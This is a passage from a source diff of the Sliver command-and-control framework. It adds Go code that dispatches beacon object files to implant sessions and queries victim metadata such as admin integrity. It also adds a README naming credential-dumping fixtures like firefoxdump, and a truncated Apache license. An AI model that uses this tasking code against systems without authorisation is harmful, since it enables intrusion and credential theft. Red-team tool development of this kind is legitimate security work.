if target.session != nil {
|
||||
return target.session.ID
|
||||
}
|
||||
if target.beacon != nil {
|
||||
return target.beacon.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (target resolvedTarget) capabilities() uint64 {
|
||||
if target.session != nil {
|
||||
return target.session.Capabilities
|
||||
}
|
||||
if target.beacon != nil {
|
||||
return target.beacon.Capabilities
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (target resolvedTarget) arch() string {
|
||||
if target.session != nil {
|
||||
return target.session.Arch
|
||||
}
|
||||
if target.beacon != nil {
|
||||
return target.beacon.Arch
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (manager *Manager) rpc() (opforRPC, error) {
|
||||
if manager == nil || manager.client == nil || manager.client.Rpc == nil {
|
||||
return nil, errors.New("opfor: Sliver RPC client is unavailable")
|
||||
}
|
||||
return manager.client.Rpc, nil
|
||||
}
|
||||
|
||||
func (manager *Manager) resolveTarget(ctx context.Context, id string) (resolvedTarget, error) {
|
||||
if strings.TrimSpace(id) == "" {
|
||||
return resolvedTarget{}, errors.New("opfor: target ID is empty")
|
||||
}
|
||||
rpc, err := manager.rpc()
|
||||
if err != nil {
|
||||
return resolvedTarget{}, err
|
||||
}
|
||||
sessions, err := rpc.GetSessions(ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return resolvedTarget{}, fmt.Errorf("opfor: list sessions: %w", err)
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session != nil && session.ID == id {
|
||||
return resolvedTarget{session: session}, nil
|
||||
}
|
||||
}
|
||||
beacons, err := rpc.GetBeacons(ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return resolvedTarget{}, fmt.Errorf("opfor: list beacons: %w", err)
|
||||
}
|
||||
for _, beacon := range beacons.GetBeacons() {
|
||||
if beacon != nil && beacon.ID == id {
|
||||
return resolvedTarget{beacon: beacon}, nil
|
||||
}
|
||||
}
|
||||
return resolvedTarget{}, fmt.Errorf("opfor: target %q was not found", id)
|
||||
}
|
||||
|
||||
func (manager *Manager) executeBeacon(
|
||||
ctx context.Context,
|
||||
request opforengine.AggressorBeaconExecutionRequest,
|
||||
) (opforengine.Value, error) {
|
||||
targetID, call, err := manager.prepareBeaconExecution(ctx, request)
|
||||
if err != nil {
|
||||
return opforengine.Null(), err
|
||||
}
|
||||
|
||||
rpc, err := manager.rpc()
|
||||
if err != nil {
|
||||
return opforengine.Null(), err
|
||||
}
|
||||
response, err := rpc.CallExtension(ctx, call)
|
||||
if err != nil {
|
||||
executionErr := fmt.Errorf("opfor: execute BOF on %s: %w", targetID, err)
|
||||
return opforengine.Null(), notifyBOFLifecycleError(ctx, request, "", executionErr)
|
||||
}
|
||||
taskID := response.GetResponse().GetTaskID()
|
||||
response, err = manager.resolveCallExtensionResponse(ctx, rpc, response)
|
||||
if err != nil {
|
||||
return opforengine.Null(), notifyBOFLifecycleError(ctx, request, taskID, err)
|
||||
}
|
||||
if taskID == "" {
|
||||
taskID = response.GetResponse().GetTaskID()
|
||||
}
|
||||
|
||||
return manager.completeBeaconExecution(ctx, request, taskID, response)
|
||||
}
|
||||
|
||||
func (manager *Manager) prepareBeaconExecution(
|
||||
ctx context.Context,
|
||||
request opforengine.AggressorBeaconExecutionRequest,
|
||||
) (string, *sliverpb.CallExtensionReq, error) {
|
||||
if request.Kind != opforengine.AggressorBeaconInlineExecute {
|
||||
return "", nil, fmt.Errorf("opfor: unsupported Beacon execution function %q", request.Name)
|
||||
}
|
||||
if err := ctx.Err(); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
targetID := request.BeaconID.String()
|
||||
target, err := manager.resolveTarget(ctx, targetID)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := beaconArchitecture(target.arch()); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
if target.capabilities()&sliverpb.CapabilityBOFV1 == 0 {
|
||||
return "", nil, fmt.Errorf("opfor: target %q does not advertise the bof_v1 capability", targetID)
|
||||
}
|
||||
|
||||
bofData, ok := request.Content.Bytes()
|
||||
if !ok {
|
||||
return "", nil, errors.New("opfor: beacon_inline_execute BOF content is not a byte string")
|
||||
}
|
||||
packed, ok := request.PackedArguments.Bytes()
|
||||
if !ok {
|
||||
packed = []byte(request.PackedArguments.String())
|
||||
}
|
||||
arguments, err := prefixBOFArguments(packed)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
digest := sha256.Sum256(bofData)
|
||||
return targetID, &sliverpb.CallExtensionReq{
|
||||
Name: hex.EncodeToString(digest[:]),
|
||||
Args: arguments,
|
||||
Export: request.EntryPoint.String(),
|
||||
BOFData: bofData,
|
||||
IsBOF: true,
|
||||
// Older implants ignore this additive request bit and return legacy
|
||||
// flattened Output, which bofOutputRecords continues to accept.
|
||||
WantBOFOutputs: true,
|
||||
Request: targetRequest(ctx, target),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (manager *Manager) completeBeaconExecution(
|
||||
ctx context.Context,
|
||||
request opforengine.AggressorBeaconExecutionRequest,
|
||||
taskID string,
|
||||
response *sliverpb.CallExtension,
|
||||
) (opforengine.Value, error) {
|
||||
records := bofOutputRecords(response)
|
||||
var executionErr error
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
executionErr = fmt.Errorf("opfor: BOF execution failed: %s", response.GetResponse().GetErr())
|
||||
}
|
||||
if request.Callback == nil {
|
||||
manager.renderBOFOutputs(records)
|
||||
if executionErr != nil {
|
||||
return opforengine.Null(), executionErr
|
||||
}
|
||||
return opforengine.Null(), nil
|
||||
}
|
||||
|
||||
for index, record := range records {
|
||||
chunkNumber := index + 1
|
||||
isFinal := index == len(records)-1
|
||||
if err := invokeBOFOutputCallback(ctx, request, record, chunkNumber, isFinal); err != nil {
|
||||
callbackErr := fmt.Errorf("opfor: BOF result callback chunk %d: %w", chunkNumber, err)
|
||||
if executionErr != nil {
|
||||
return opforengine.Null(), errors.Join(executionErr, callbackErr)
|
||||
}
|
||||
return opforengine.Null(), callbackErr
|
||||
}
|
||||
}
|
||||
if executionErr != nil {
|
||||
return opforengine.Null(), notifyBOFLifecycleError(ctx, request, taskID, executionErr)
|
||||
}
|
||||
if taskID != "" {
|
||||
if err := invokeBOFLifecycleCallback(ctx, request, "task_completed", taskID, nil); err != nil {
|
||||
return opforengine.Null(), fmt.Errorf("opfor: BOF task_completed callback: %w", err)
|
||||
}
|
||||
} else if len(records) == 0 {
|
||||
if err := invokeBOFLifecycleCallback(ctx, request, "success", "", nil); err != nil {
|
||||
return opforengine.Null(), fmt.Errorf("opfor: BOF success callback: %w", err)
|
||||
}
|
||||
}
|
||||
return opforengine.Null(), nil
|
||||
}
|
||||
|
||||
// bofOutputRecords prefers the typed wire representation. Older servers and
|
||||
// implants populate only Output, which remains one default-channel record.
|
||||
func bofOutputRecords(response *sliverpb.CallExtension) []*sliverpb.BOFOutput {
|
||||
if response == nil {
|
||||
return nil
|
||||
}
|
||||
if records := response.GetBOFOutputs(); len(records) != 0 {
|
||||
return records
|
||||
}
|
||||
if len(response.GetOutput()) == 0 {
|
||||
return nil
|
||||
}
|
||||
return []*sliverpb.BOFOutput{{
|
||||
Type: bofOutputDefault,
|
||||
Data: response.GetOutput(),
|
||||
}}
|
||||
}
|
||||
|
||||
// The callback is deliberately multi-shot. Data records retain their exact
|
||||
// byte strings and raw Cobalt output channel. chunk_num is one-based and
|
||||
// is_final marks the final data record, independently of task lifecycle events.
|
||||
func invokeBOFOutputCallback(
|
||||
ctx context.Context,
|
||||
request opforengine.AggressorBeaconExecutionRequest,
|
||||
record *sliverpb.BOFOutput,
|
||||
chunkNumber int,
|
||||
isFinal bool,
|
||||
) error {
|
||||
if request.Callback == nil {
|
||||
return nil
|
||||
}
|
||||
if record == nil {
|
||||
record = &sliverpb.BOFOutput{}
|
||||
}
|
||||
kind := "output"
|
||||
if record.GetType() == bofOutputError {
|
||||
kind = "error"
|
||||
}
|
||||
information := opforengine.NewOrderedHash()
|
||||
information.Set("type", opforengine.String(kind))
|
||||
information.Set("type_id", opforengine.Int(record.GetType()))
|
||||
information.Set("chunk_num", opforengine.Int(int32(chunkNumber)))
|
||||
information.Set("is_final", opforengine.Bool(isFinal))
|
||||
_, err := request.Callback.Invoke(
|
||||
ctx,
|
||||
request.BeaconID,
|
||||
opforengine.BinaryString(record.GetData()),
|
||||
opforengine.HashValue(information),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func invokeBOFLifecycleCallback(
|
||||
ctx context.Context,
|
||||
request opforengine.AggressorBeaconExecutionRequest,
|
||||
kind string,
|
||||
taskID string,
|
||||
result []byte,
|
||||
) error {
|
||||
if request.Callback == nil {
|
||||
return nil
|
||||
}
|
||||
information := opforengine.NewOrderedHash()
|
||||
information.Set("type", opforengine.String(kind))
|
||||
if taskID != "" {
|
||||
information.Set("taskid", opforengine.String(taskID))
|
||||
}
|
||||
_, err := request.Callback.Invoke(
|
||||
ctx,
|
||||
request.BeaconID,
|
||||
opforengine.BinaryString(result),
|
||||
opforengine.HashValue(information),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func notifyBOFLifecycleError(
|
||||
ctx context.Context,
|
||||
request opforengine.AggressorBeaconExecutionRequest,
|
||||
taskID string,
|
||||
executionErr error,
|
||||
) error {
|
||||
if request.Callback == nil {
|
||||
return executionErr
|
||||
}
|
||||
if ctx != nil && ctx.Err() != nil {
|
||||
return executionErr
|
||||
}
|
||||
callbackErr := invokeBOFLifecycleCallback(
|
||||
ctx, request, "error", taskID, []byte(executionErr.Error()),
|
||||
)
|
||||
if callbackErr != nil {
|
||||
return errors.Join(executionErr, fmt.Errorf("opfor: BOF error callback: %w", callbackErr))
|
||||
}
|
||||
return executionErr
|
||||
}
|
||||
|
||||
func (manager *Manager) renderBOFOutputs(records []*sliverpb.BOFOutput) {
|
||||
wrote := false
|
||||
endedWithNewline := true
|
||||
for _, record := range records {
|
||||
if record == nil || len(record.GetData()) == 0 {
|
||||
continue
|
||||
}
|
||||
text := safeBOFText(record.GetData())
|
||||
if text == "" {
|
||||
continue
|
||||
}
|
||||
wrote = true
|
||||
endedWithNewline = strings.HasSuffix(text, "\n")
|
||||
if record.GetType() == bofOutputError {
|
||||
manager.output.PrintErrorf("%s", text)
|
||||
} else {
|
||||
manager.output.Printf("%s", text)
|
||||
}
|
||||
}
|
||||
if wrote && !endedWithNewline {
|
||||
manager.output.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
// safeBOFText prevents untrusted native output from injecting terminal control
|
||||
// sequences. Valid printable UTF-8 plus tab/newline/carriage return is retained;
|
||||
// invalid bytes and other control bytes are rendered as hexadecimal escapes.
|
||||
func safeBOFText(data []byte) string {
|
||||
var result strings.Builder
|
||||
result.Grow(len(data))
|
||||
for len(data) != 0 {
|
||||
r, size := utf8.DecodeRune(data)
|
||||
if r == utf8.RuneError && size == 1 {
|
||||
fmt.Fprintf(&result, `\x%02x`, data[0])
|
||||
data = data[1:]
|
||||
continue
|
||||
}
|
||||
if r == '\n' || r == '\r' || r == '\t' || unicode.IsPrint(r) {
|
||||
result.WriteRune(r)
|
||||
} else {
|
||||
for _, value := range data[:size] {
|
||||
fmt.Fprintf(&result, `\x%02x`, value)
|
||||
}
|
||||
}
|
||||
data = data[size:]
|
||||
}
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func prefixBOFArguments(packed []byte) ([]byte, error) {
|
||||
if uint64(len(packed)) > math.MaxUint32 {
|
||||
return nil, errors.New("opfor: BOF argument buffer exceeds uint32 length")
|
||||
}
|
||||
arguments := make([]byte, 4+len(packed))
|
||||
binary.LittleEndian.PutUint32(arguments, uint32(len(packed)))
|
||||
copy(arguments[4:], packed)
|
||||
return arguments, nil
|
||||
}
|
||||
|
||||
func targetRequest(ctx context.Context, target resolvedTarget) *commonpb.Request {
|
||||
request := &commonpb.Request{Timeout: int64(bofRequestTimeout(ctx))}
|
||||
if target.session != nil {
|
||||
request.SessionID = target.session.ID
|
||||
request.Async = false
|
||||
} else if target.beacon != nil {
|
||||
request.BeaconID = target.beacon.ID
|
||||
request.Async = true
|
||||
}
|
||||
return request
|
||||
}
|
||||
|
||||
func bofRequestTimeout(ctx context.Context) time.Duration {
|
||||
if ctx == nil {
|
||||
return bofRequestFallback
|
||||
}
|
||||
deadline, ok := ctx.Deadline()
|
||||
if !ok {
|
||||
return bofRequestFallback
|
||||
}
|
||||
remaining := time.Until(deadline)
|
||||
if remaining <= 0 {
|
||||
return time.Nanosecond
|
||||
}
|
||||
if remaining > bofRequestDeadlineMargin {
|
||||
remaining -= bofRequestDeadlineMargin
|
||||
}
|
||||
return remaining
|
||||
}
|
||||
|
||||
func (manager *Manager) resolveCallExtensionResponse(
|
||||
ctx context.Context,
|
||||
rpc opforRPC,
|
||||
response *sliverpb.CallExtension,
|
||||
) (*sliverpb.CallExtension, error) {
|
||||
if response == nil {
|
||||
return nil, errors.New("opfor: BOF execution returned an empty response")
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" || !response.GetResponse().GetAsync() {
|
||||
return response, nil
|
||||
}
|
||||
taskID := response.GetResponse().GetTaskID()
|
||||
if taskID == "" {
|
||||
return nil, errors.New("opfor: asynchronous BOF execution returned no task ID")
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(beaconTaskPollInterval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
task, err := rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("opfor: fetch beacon task %s: %w", taskID, err)
|
||||
}
|
||||
state := strings.ToLower(task.GetState())
|
||||
switch state {
|
||||
case "completed":
|
||||
if len(task.Response) == 0 {
|
||||
return nil, fmt.Errorf("opfor: beacon task %s returned an empty response", taskID)
|
||||
}
|
||||
completed := &sliverpb.CallExtension{}
|
||||
if err := proto.Unmarshal(task.Response, completed); err != nil {
|
||||
return nil, fmt.Errorf("opfor: decode beacon task %s response: %w", taskID, err)
|
||||
}
|
||||
if completed.Response == nil {
|
||||
completed.Response = &commonpb.Response{}
|
||||
}
|
||||
if completed.Response.TaskID == "" {
|
||||
completed.Response.TaskID = taskID
|
||||
}
|
||||
return completed, nil
|
||||
case "failed", "canceled", "cancelled":
|
||||
return nil, fmt.Errorf("opfor: beacon task %s %s", taskID, state)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (manager *Manager) publishTranscript(
|
||||
_ context.Context,
|
||||
record opforengine.AggressorBeaconTranscriptRecord,
|
||||
) error {
|
||||
target := record.BeaconID.String()
|
||||
text := record.Text.String()
|
||||
prefix := ""
|
||||
if target != "" {
|
||||
prefix = "[" + target + "] "
|
||||
}
|
||||
switch record.Kind {
|
||||
case opforengine.AggressorBeaconTranscriptError,
|
||||
opforengine.AggressorBeaconTranscriptJobError:
|
||||
manager.output.PrintErrorf("%s%s\n", prefix, text)
|
||||
case opforengine.AggressorBeaconTranscriptTask,
|
||||
opforengine.AggressorBeaconTranscriptTaskCompleted:
|
||||
manager.output.PrintInfof("%s%s\n", prefix, text)
|
||||
default:
|
||||
manager.output.Printf("%s%s\n", prefix, text)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
//go:build client
|
||||
|
||||
package opfor
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
opforengine "github.com/sliverarmory/opfor"
|
||||
)
|
||||
|
||||
func (manager *Manager) querySession(
|
||||
ctx context.Context,
|
||||
query opforengine.AggressorSessionQuery,
|
||||
) (opforengine.Value, error) {
|
||||
if err := ctx.Err(); err != nil {
|
||||
return opforengine.Null(), err
|
||||
}
|
||||
|
||||
switch query.Kind {
|
||||
case opforengine.AggressorSessionQueryBeacons,
|
||||
opforengine.AggressorSessionQueryBeaconIDs:
|
||||
return manager.queryAllSessions(ctx, query.Kind)
|
||||
default:
|
||||
return manager.querySingleSession(ctx, query)
|
||||
}
|
||||
}
|
||||
|
||||
func (manager *Manager) queryAllSessions(
|
||||
ctx context.Context,
|
||||
kind opforengine.AggressorSessionQueryKind,
|
||||
) (opforengine.Value, error) {
|
||||
targets, err := manager.allTargets(ctx)
|
||||
if err != nil {
|
||||
return opforengine.Null(), err
|
||||
}
|
||||
values := make([]opforengine.Value, 0, len(targets))
|
||||
for _, target := range targets {
|
||||
if kind == opforengine.AggressorSessionQueryBeaconIDs {
|
||||
values = append(values, opforengine.String(target.id()))
|
||||
} else {
|
||||
values = append(values, opforengine.HashValue(targetMetadata(target)))
|
||||
}
|
||||
}
|
||||
return opforengine.ArrayValue(opforengine.NewArray(values...)), nil
|
||||
}
|
||||
|
||||
func (manager *Manager) querySingleSession(
|
||||
ctx context.Context,
|
||||
query opforengine.AggressorSessionQuery,
|
||||
) (opforengine.Value, error) {
|
||||
target, err := manager.resolveTarget(ctx, query.SessionID.String())
|
||||
if err != nil {
|
||||
return opforengine.Null(), err
|
||||
}
|
||||
metadata := targetMetadata(target)
|
||||
switch query.Kind {
|
||||
case opforengine.AggressorSessionQueryBeaconArchitecture,
|
||||
opforengine.AggressorSessionQueryBeaconData,
|
||||
opforengine.AggressorSessionQueryBeaconInfo,
|
||||
opforengine.AggressorSessionQueryIs64:
|
||||
return querySessionMetadata(target, metadata, query)
|
||||
case opforengine.AggressorSessionQueryIsActive,
|
||||
opforengine.AggressorSessionQueryIsAdmin,
|
||||
opforengine.AggressorSessionQueryIsBeacon,
|
||||
opforengine.AggressorSessionQueryIsSSH:
|
||||
return querySessionStatus(target, query)
|
||||
default:
|
||||
return opforengine.Null(), fmt.Errorf("opfor: unsupported session query %q", query.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func querySessionMetadata(
|
||||
target resolvedTarget,
|
||||
metadata *opforengine.Hash,
|
||||
query opforengine.AggressorSessionQuery,
|
||||
) (opforengine.Value, error) {
|
||||
switch query.Kind {
|
||||
case opforengine.AggressorSessionQueryBeaconArchitecture:
|
||||
architecture, err := beaconArchitecture(target.arch())
|
||||
if err != nil {
|
||||
return opforengine.Null(), err
|
||||
}
|
||||
return opforengine.String(architecture), nil
|
||||
case opforengine.AggressorSessionQueryBeaconData:
|
||||
return opforengine.HashValue(metadata), nil
|
||||
case opforengine.AggressorSessionQueryBeaconInfo:
|
||||
value, found := metadata.Get(strings.ToLower(query.Key.String()))
|
||||
if !found {
|
||||
return opforengine.Null(), nil
|
||||
}
|
||||
return value, nil
|
||||
case opforengine.AggressorSessionQueryIs64:
|
||||
architecture, err := beaconArchitecture(target.arch())
|
||||
if err != nil {
|
||||
return opforengine.Null(), err
|
||||
}
|
||||
return opforengine.Bool(architecture == "x64"), nil
|
||||
default:
|
||||
return opforengine.Null(), fmt.Errorf("opfor: unsupported session metadata query %q", query.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func querySessionStatus(
|
||||
target resolvedTarget,
|
||||
query opforengine.AggressorSessionQuery,
|
||||
) (opforengine.Value, error) {
|
||||
switch query.Kind {
|
||||
case opforengine.AggressorSessionQueryIsActive:
|
||||
if target.session != nil {
|
||||
return opforengine.Bool(!target.session.IsDead), nil
|
||||
}
|
||||
return opforengine.Bool(target.beacon != nil && !target.beacon.IsDead), nil
|
||||
case opforengine.AggressorSessionQueryIsAdmin:
|
||||
integrity := strings.ToLower(targetIntegrity(target))
|
||||
return opforengine.Bool(strings.Contains(integrity, "high") || strings.Contains(integrity, "system") || strings.Contains(integrity, "admin")), nil
|
||||
case opforengine.AggressorSessionQueryIsBeacon:
|
||||
return opforengine.Bool(target.beacon != nil), nil
|
||||
case opforengine.AggressorSessionQueryIsSSH:
|
||||
return opforengine.Bool(false), nil
|
||||
default:
|
||||
return opforengine.Null(), fmt.Errorf("opfor: unsupported session status query %q", query.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func targetIntegrity(target resolvedTarget) string {
|
||||
if target.session != nil {
|
||||
return target.session.Integrity
|
||||
}
|
||||
if target.beacon != nil {
|
||||
return target.beacon.Integrity
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (manager *Manager) allTargets(ctx context.Context) ([]resolvedTarget, error) {
|
||||
rpc, err := manager.rpc()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sessions, err := rpc.GetSessions(ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("opfor: list sessions: %w", err)
|
||||
}
|
||||
beacons, err := rpc.GetBeacons(ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("opfor: list beacons: %w", err)
|
||||
}
|
||||
targets := make([]resolvedTarget, 0, len(sessions.GetSessions())+len(beacons.GetBeacons()))
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session != nil {
|
||||
targets = append(targets, resolvedTarget{session: session})
|
||||
}
|
||||
}
|
||||
for _, beacon := range beacons.GetBeacons() {
|
||||
if beacon != nil {
|
||||
targets = append(targets, resolvedTarget{beacon: beacon})
|
||||
}
|
||||
}
|
||||
return targets, nil
|
||||
}
|
||||
|
||||
func beaconArchitecture(arch string) (string, error) {
|
||||
switch strings.ToLower(arch) {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "x64", nil
|
||||
case "386", "x86", "i386":
|
||||
return "x86", nil
|
||||
default:
|
||||
return "", fmt.Errorf("opfor: unsupported BOF target architecture %q", arch)
|
||||
}
|
||||
}
|
||||
|
||||
func targetMetadata(target resolvedTarget) *opforengine.Hash {
|
||||
metadata := opforengine.NewOrderedHash()
|
||||
set := func(key string, value opforengine.Value) { metadata.Set(key, value) }
|
||||
if target.session != nil {
|
||||
appendTargetMetadata(set, target.session.ID, target.session.Name, target.session.Hostname,
|
||||
target.session.Username, target.session.OS, target.session.Arch, target.session.Transport,
|
||||
target.session.RemoteAddress, target.session.Filename, target.session.Version,
|
||||
target.session.Integrity, target.session.PID, !target.session.IsDead, false)
|
||||
} else if target.beacon != nil {
|
||||
appendTargetMetadata(set, target.beacon.ID, target.beacon.Name, target.beacon.Hostname,
|
||||
target.beacon.Username, target.beacon.OS, target.beacon.Arch, target.beacon.Transport,
|
||||
target.beacon.RemoteAddress, target.beacon.Filename, target.beacon.Version,
|
||||
target.beacon.Integrity, target.beacon.PID, !target.beacon.IsDead, true)
|
||||
}
|
||||
return metadata
|
||||
}
|
||||
|
||||
func appendTargetMetadata(
|
||||
set func(string, opforengine.Value),
|
||||
id, name, hostname, username, osName, arch, transport, remoteAddress, filename, version, integrity string,
|
||||
pid int32,
|
||||
active, beacon bool,
|
||||
) {
|
||||
architecture, err := beaconArchitecture(arch)
|
||||
if err != nil {
|
||||
architecture = strings.ToLower(arch)
|
||||
}
|
||||
set("id", opforengine.String(id))
|
||||
set("name", opforengine.String(name))
|
||||
set("computer", opforengine.String(hostname))
|
||||
set("host", opforengine.String(hostname))
|
||||
set("user", opforengine.String(username))
|
||||
set("os", opforengine.String(osName))
|
||||
set("arch", opforengine.String(architecture))
|
||||
set("transport", opforengine.String(transport))
|
||||
set("external", opforengine.String(remoteAddress))
|
||||
set("process", opforengine.String(filename))
|
||||
set("version", opforengine.String(version))
|
||||
set("integrity", opforengine.String(integrity))
|
||||
set("pid", opforengine.Int(pid))
|
||||
set("active", opforengine.Bool(active))
|
||||
set("beacon", opforengine.Bool(beacon))
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
# SliverArmory CNA corpus
|
||||
|
||||
These unmodified CNA scripts are pinned regression fixtures for the OPFOR client integration. The tests pair them with inert object bytes and verify script loading, command registration, resource resolution, BOF argument packing, and Sliver dispatch; they do not execute the embedded BOF code locally.
|
||||
|
||||
| Fixture | Upstream revision | License |
|
||||
| --- | --- | --- |
|
||||
| `firefoxdump/firefoxdump.cna` | [`sliverarmory/firefoxdump@19bec6f`](https://github.com/sliverarmory/firefoxdump/tree/19bec6fb2def510b299430955fb2be79c1f51820) | GPL-3.0-only; see the Sliver repository root `LICENSE` |
|
||||
| `bof_collection/cat.cna` | [`sliverarmory/bof_collection@d937d25`](https://github.com/sliverarmory/bof_collection/tree/d937d25a164f40192e289b67e9c550d2bd4c369a) | Apache-2.0; copied `LICENSE` and `NOTICE` are retained here |
|
||||
| `operatorskit/finddotnet.cna` and `findsysmon.cna` | [`sliverarmory/OperatorsKit@66368f4`](https://github.com/sliverarmory/OperatorsKit/tree/66368f4738528d26cc1ccc6d9a3c93d44d63edc1) | MIT; copied `LICENSE` is retained here |
|
||||
|
||||
The object files are intentionally not vendored. Live BOF execution belongs in a safety-gated Windows integration environment, while these fixtures keep the client test suite deterministic and platform independent.
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
